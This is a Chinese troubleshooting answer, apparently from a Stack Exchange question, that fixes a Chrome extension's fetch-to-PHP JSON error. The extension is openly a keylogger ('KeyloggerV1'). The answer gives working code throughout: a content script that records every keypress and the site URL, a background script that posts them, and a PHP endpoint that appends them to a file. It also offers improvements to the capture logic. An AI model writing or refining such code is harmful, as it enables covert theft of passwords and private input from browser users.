Fetch请求报错:无效JSON,Chrome扩展POST至PHP文件失败排查
问题排查与解决:Chrome扩展POST请求到PHP返回非有效JSON错误
核心原因
- 请求体格式错误:background.js中直接将JSON对象
request.data拼接到keys=后,会生成keys=[object Object]的无效格式,PHP无法正确解析,可能返回HTML错误页面(如400 Bad Request页面),这就是报错中<!DOCTYPE的来源。 - PHP返回非JSON格式:无论成功或失败,PHP都输出普通字符串(如"character saved successfully"),但前端用
response.json()尝试解析,必然触发JSON语法错误。 - PHP代码顺序不规范:
session_start()在header()之后,可能引发头信息发送冲突(虽非直接报错原因,但不符合规范)。
解决办法
1. 修正background.js的请求体格式
因为设置的Content-Type是application/x-www-form-urlencoded,需将JSON对象转为URL编码的键值对,使用URLSearchParams处理:
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { if (request.contentScriptQuery == "postData") { fetch(request.url, { method: 'POST', headers: { 'Accept': 'application/json', 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8' }, body: new URLSearchParams(request.data), // 转为标准表单格式 }) .then(response => response.json()) .then(response => sendResponse(response)) .catch(error => console.log('Error:', error)); return true; } });
2. 修正PHP返回格式,确保输出有效JSON
PHP需始终返回标准JSON响应,修改如下:
<?php session_start(); // 移至header前,避免头冲突 header("Content-Type: application/json; charset=UTF-8"); $response = []; if (!isset($_POST['keys']) || empty($_POST['keys'])) { $response['status'] = 'error'; $response['message'] = "Didn't received any new KEY strokes Yet!"; echo json_encode($response); exit(0); } $file_txt = fopen("C:\\xampp\\htdocs\\KeyloggerV1\\file.txt","a+"); if (!$file_txt) { $response['status'] = 'error'; $response['message'] = "Failed to open file"; echo json_encode($response); exit(0); } if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) { $_SESSION['site'] = $_POST['site']; fwrite($file_txt, "| site : " . $_POST['site'] . " | "); } fwrite($file_txt, $_POST['keys']); fclose($file_txt); $response['status'] = 'success'; $response['message'] = "character saved successfully"; echo json_encode($response); ?>
3. 优化content.js按键监听逻辑(可选)
当前每次按键都发送请求过于频繁,可改为积累按键后防抖发送:
var keystrokes = ""; var sendTimer = null; window.addEventListener('keypress', function(e) { let key = e.key; // 标记特殊按键(如Enter、Backspace) if (key.length > 1 && key !== " ") { key = `[${key}]`; } keystrokes += key; // 3秒无新按键则发送请求 if (sendTimer) clearTimeout(sendTimer); sendTimer = setTimeout(() => { const ApiUrl = "http://localhost:80/KeyloggerV1/app.php"; const JSONdata = { keys: keystrokes, site: window.location.toString() }; chrome.runtime.sendMessage({ contentScriptQuery: "postData", data: JSONdata, url: ApiUrl }, function(response) { console.log(response || null); keystrokes = ""; // 发送后清空缓存 }); }, 3000); });
内容的提问来源于stack exchange,提问作者Roger31
相关产品推荐
相关产品推荐

